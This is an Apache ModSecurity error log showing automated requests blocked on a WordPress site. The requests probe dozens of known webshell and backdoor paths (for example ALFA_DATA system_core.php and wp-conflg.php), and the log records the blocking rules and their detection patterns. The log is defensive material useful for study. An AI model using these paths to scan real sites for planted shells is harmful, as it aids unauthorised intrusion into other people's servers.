[Sun May 10 08:22:17.896753 2026] [:error] [pid 46417:tid 46429] [client 85.203.23.214:23845] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "af_PuWInm7mhwgbe48ZnxQAAAQo"]
[Sun May 10 08:22:18.089185 2026] [:error] [pid 46417:tid 46428] [client 85.203.23.189:38611] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/widgets/wp-conflg.php"] [unique_id "af_PumInm7mhwgbe48ZnxgAAAQk"]
[Sun May 10 08:22:18.273628 2026] [:error] [pid 46331:tid 46395] [client 85.203.23.192:37131] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/src/Exception/"] [unique_id "af_PugP02hpYETwsZpgSvwAAAJI"]
[Sun May 10 08:22:18.474021 2026] [:error] [pid 46417:tid 46442] [client 85.203.23.182:38449] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/pattern/"] [unique_id "af_PumInm7mhwgbe48ZnxwAAARc"]
[Sun May 10 08:22:18.682984 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.182:41095] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-load.php"] [unique_id "af_Putwp8XoWCwFb54CSkwAAAMc"]
[Sun May 10 08:22:18.866025 2026] [:error] [pid 46330:tid 46368] [client 85.203.23.204:62831] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/news-portal/user-install.php"] [unique_id "af_Puoztrhd3evDQvs82WQAAAEA"]
[Sun May 10 08:22:19.063729 2026] [:error] [pid 46417:tid 46425] [client 85.203.23.166:61101] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/"] [unique_id "af_Pu2Inm7mhwgbe48ZnyQAAAQY"]
[Sun May 10 08:22:19.262554 2026] [:error] [pid 46417:tid 46440] [client 85.203.23.188:63379] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/block-bindings/"] [unique_id "af_Pu2Inm7mhwgbe48ZnywAAARU"]
[Sun May 10 08:22:19.457346 2026] [:error] [pid 46331:tid 46386] [client 85.203.23.182:25485] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-cache-sys/"] [unique_id "af_PuwP02hpYETwsZpgSwAAAAI0"]
[Sun May 10 08:22:19.670595 2026] [:error] [pid 46417:tid 46441] [client 85.203.23.172:55385] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist"] [unique_id "af_Pu2Inm7mhwgbe48ZnzAAAARY"]
[Sun May 10 08:22:19.859842 2026] [:error] [pid 46330:tid 46411] [client 85.203.23.223:36907] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-less.php"] [unique_id "af_Pu4ztrhd3evDQvs82WgAAAFc"]
[Sun May 10 08:22:20.082541 2026] [:error] [pid 46417:tid 46438] [client 85.203.23.189:47183] [client 85.203.23.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh.php"] [unique_id "af_PvGInm7mhwgbe48ZnzgAAARM"]
[Sun May 10 08:22:20.268036 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.208:61655] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/accordion/"] [unique_id "af_PvGInm7mhwgbe48ZnzwAAARA"]
[Sun May 10 08:22:20.464394 2026] [:error] [pid 52634:tid 52649] [client 85.203.23.166:55227] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/Nxploited/class-payment.php"] [unique_id "af_PvNwp8XoWCwFb54CSlQAAAMs"]
[Sun May 10 08:22:20.659274 2026] [:error] [pid 46329:tid 46355] [client 85.203.23.182:31193] [client 85.203.23.182] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/home.php"] [unique_id "af_PvOFo7Z2I88d0gPJPswAAABY"]
[Sun May 10 08:22:20.862682 2026] [:error] [pid 52634:tid 52654] [client 85.203.23.181:43853] [client 85.203.23.181] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/"] [unique_id "af_PvNwp8XoWCwFb54CSlgAAANA"]
[Sun May 10 08:22:21.062759 2026] [:error] [pid 46330:tid 46378] [client 85.203.23.196:30921] [client 85.203.23.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "af_PvYztrhd3evDQvs82XgAAAEY"]
[Sun May 10 08:22:21.384634 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.214:31225] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/file/"] [unique_id "af_Pvdwp8XoWCwFb54CSmQAAAMY"]
[Sun May 10 08:22:21.798420 2026] [:error] [pid 52634:tid 52655] [client 85.203.23.214:62753] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-theme-json-resolver-sql.php"] [unique_id "af_Pvdwp8XoWCwFb54CSmgAAANE"]
[Sun May 10 08:22:21.983707 2026] [:error] [pid 46329:tid 46351] [client 85.203.23.204:25271] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/classwithtostring.php"] [unique_id "af_PveFo7Z2I88d0gPJPtAAAABI"]
[Sun May 10 08:22:22.169482 2026] [:error] [pid 46331:tid 46393] [client 85.203.23.217:61515] [client 85.203.23.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/widgets/"] [unique_id "af_PvgP02hpYETwsZpgSwgAAAJE"]
[Sun May 10 08:22:22.389388 2026] [:error] [pid 46329:tid 46352] [client 85.203.23.192:31455] [client 85.203.23.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/interactivity-api/"] [unique_id "af_PvuFo7Z2I88d0gPJPtQAAABM"]
[Sun May 10 08:22:22.582146 2026] [:error] [pid 52634:tid 52661] [client 85.203.23.173:44309] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/taxonomy-compiler.php"] [unique_id "af_Pvtwp8XoWCwFb54CSnQAAANc"]
[Sun May 10 08:22:22.771268 2026] [:error] [pid 46331:tid 46392] [client 85.203.23.215:38457] [client 85.203.23.215] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/"] [unique_id "af_PvgP02hpYETwsZpgSwwAAAJA"]
[Sun May 10 08:22:22.968722 2026] [:error] [pid 52634:tid 52651] [client 85.203.23.221:65085] [client 85.203.23.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyone/assets/"] [unique_id "af_Pvtwp8XoWCwFb54CSngAAAM0"]
[Sun May 10 08:22:23.166110 2026] [:error] [pid 52634:tid 52645] [client 85.203.23.197:32867] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/aboutc.php"] [unique_id "af_Pv9wp8XoWCwFb54CSoAAAAMc"]
[Sun May 10 08:22:23.364277 2026] [:error] [pid 46329:tid 46333] [client 85.203.23.185:20393] [client 85.203.23.185] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "af_Pv-Fo7Z2I88d0gPJPtgAAAAA"]
[Sun May 10 08:22:23.568514 2026] [:error] [pid 46331:tid 46363] [client 85.203.23.172:59365] [client 85.203.23.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/Type/Sniffer.plugin.php"] [unique_id "af_PvwP02hpYETwsZpgSxAAAAII"]
[Sun May 10 08:22:23.776180 2026] [:error] [pid 46417:tid 46432] [client 85.203.23.205:45341] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "af_Pv2Inm7mhwgbe48Zn0gAAAQ0"]
[Sun May 10 08:22:23.986941 2026] [:error] [pid 46329:tid 46349] [client 85.203.23.216:61771] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/cgi-bin/config.php"] [unique_id "af_Pv-Fo7Z2I88d0gPJPuAAAABA"]
[Sun May 10 08:22:24.168439 2026] [:error] [pid 46331:tid 46397] [client 85.203.23.223:30123] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/nbpmo.php"] [unique_id "af_PwAP02hpYETwsZpgSxQAAAJM"]
[Sun May 10 08:22:24.374311 2026] [:error] [pid 46329:tid 46350] [client 85.203.23.218:29263] [client 85.203.23.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/system.php"] [unique_id "af_PwOFo7Z2I88d0gPJPuQAAABE"]
[Sun May 10 08:22:24.572938 2026] [:error] [pid 46417:tid 46440] [client 85.203.23.202:20991] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/login.php"] [unique_id "af_PwGInm7mhwgbe48Zn1AAAARU"]
[Sun May 10 08:22:24.787205 2026] [:error] [pid 52634:tid 52644] [client 85.203.23.209:43231] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sc_1.php"] [unique_id "af_PwNwp8XoWCwFb54CSpgAAAMY"]
[Sun May 10 08:22:24.987095 2026] [:error] [pid 46330:tid 46409] [client 85.203.23.166:49099] [client 85.203.23.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/gk.php"] [unique_id "af_PwIztrhd3evDQvs82YQAAAFU"]
[Sun May 10 08:22:25.168866 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.171:52409] [client 85.203.23.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/about/system_core.php"] [unique_id "af_Pwdwp8XoWCwFb54CSqAAAANI"]
[Sun May 10 08:22:25.368585 2026] [:error] [pid 46329:tid 46346] [client 85.203.23.173:65385] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/system_core.php"] [unique_id "af_PweFo7Z2I88d0gPJPugAAAA0"]
[Sun May 10 08:22:25.568660 2026] [:error] [pid 52634:tid 52642] [client 85.203.23.169:30195] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/system_core.php"] [unique_id "af_Pwdwp8XoWCwFb54CSrAAAAMQ"]
[Sun May 10 08:22:25.755557 2026] [:error] [pid 52634:tid 52639] [client 85.203.23.173:29067] [client 85.203.23.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/contact/system_core.php"] [unique_id "af_Pwdwp8XoWCwFb54CSrgAAAME"]
[Sun May 10 08:22:25.958789 2026] [:error] [pid 52634:tid 52649] [client 85.203.23.203:63155] [client 85.203.23.203] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/ai-builder/system_core.php"] [unique_id "af_Pwdwp8XoWCwFb54CSsAAAAMs"]
[Sun May 10 08:22:26.167345 2026] [:error] [pid 52634:tid 52643] [client 85.203.23.206:35069] [client 85.203.23.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/ast-block-templates-json/system_core.php"] [unique_id "af_Pwtwp8XoWCwFb54CSsQAAAMU"]
[Sun May 10 08:22:26.367029 2026] [:error] [pid 46417:tid 46435] [client 85.203.23.216:22787] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/astra-sites/json/system_core.php"] [unique_id "af_PwmInm7mhwgbe48Zn1wAAARA"]
[Sun May 10 08:22:26.558925 2026] [:error] [pid 52634:tid 52656] [client 85.203.23.186:30769] [client 85.203.23.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/cartflows-logs/system_core.php"] [unique_id "af_Pwtwp8XoWCwFb54CSswAAANI"]
[Sun May 10 08:22:26.761068 2026] [:error] [pid 52634:tid 52661] [client 85.203.23.223:34547] [client 85.203.23.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/edd/system_core.php"] [unique_id "af_Pwtwp8XoWCwFb54CStAAAANc"]
[Sun May 10 08:22:26.965092 2026] [:error] [pid 46417:tid 46439] [client 85.203.23.208:24063] [client 85.203.23.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/elementor/system_core.php"] [unique_id "af_PwmInm7mhwgbe48Zn2QAAARQ"]
[Sun May 10 08:22:27.159999 2026] [:error] [pid 46417:tid 46424] [client 85.203.23.197:38159] [client 85.203.23.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/simply-static/temp-files/system_core.php"] [unique_id "af_Pw2Inm7mhwgbe48Zn2gAAAQU"]
[Sun May 10 08:22:27.356909 2026] [:error] [pid 52634:tid 52651] [client 85.203.23.200:41163] [client 85.203.23.200] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/st-importer/system_core.php"] [unique_id "af_Pw9wp8XoWCwFb54CStwAAAM0"]
[Sun May 10 08:22:27.582356 2026] [:error] [pid 52634:tid 52647] [client 85.203.23.212:56687] [client 85.203.23.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/system_core.php"] [unique_id "af_Pw9wp8XoWCwFb54CSuAAAAMk"]
[Sun May 10 08:22:27.790192 2026] [:error] [pid 52634:tid 52657] [client 85.203.23.188:45503] [client 85.203.23.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wc-logs/system_core.php"] [unique_id "af_Pw9wp8XoWCwFb54CSuQAAANM"]
[Sun May 10 08:22:27.993727 2026] [:error] [pid 46417:tid 46443] [client 85.203.23.210:20325] [client 85.203.23.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/woocommerce_uploads/system_core.php"] [unique_id "af_Pw2Inm7mhwgbe48Zn3AAAARg"]
[Sun May 10 08:22:28.177652 2026] [:error] [pid 52634:tid 52660] [client 85.203.23.209:45287] [client 85.203.23.209] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wpforms/cache/system_core.php"] [unique_id "af_PxNwp8XoWCwFb54CSuwAAANY"]
[Sun May 10 08:22:28.379608 2026] [:error] [pid 52634:tid 52641] [client 85.203.23.216:47077] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wp-file-manager-pro/"] [unique_id "af_PxNwp8XoWCwFb54CSvAAAAMM"]
[Sun May 10 08:22:28.588065 2026] [:error] [pid 46417:tid 46421] [client 85.203.23.205:51649] [client 85.203.23.205] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/db-status.php"] [unique_id "af_PxGInm7mhwgbe48Zn3gAAAQI"]
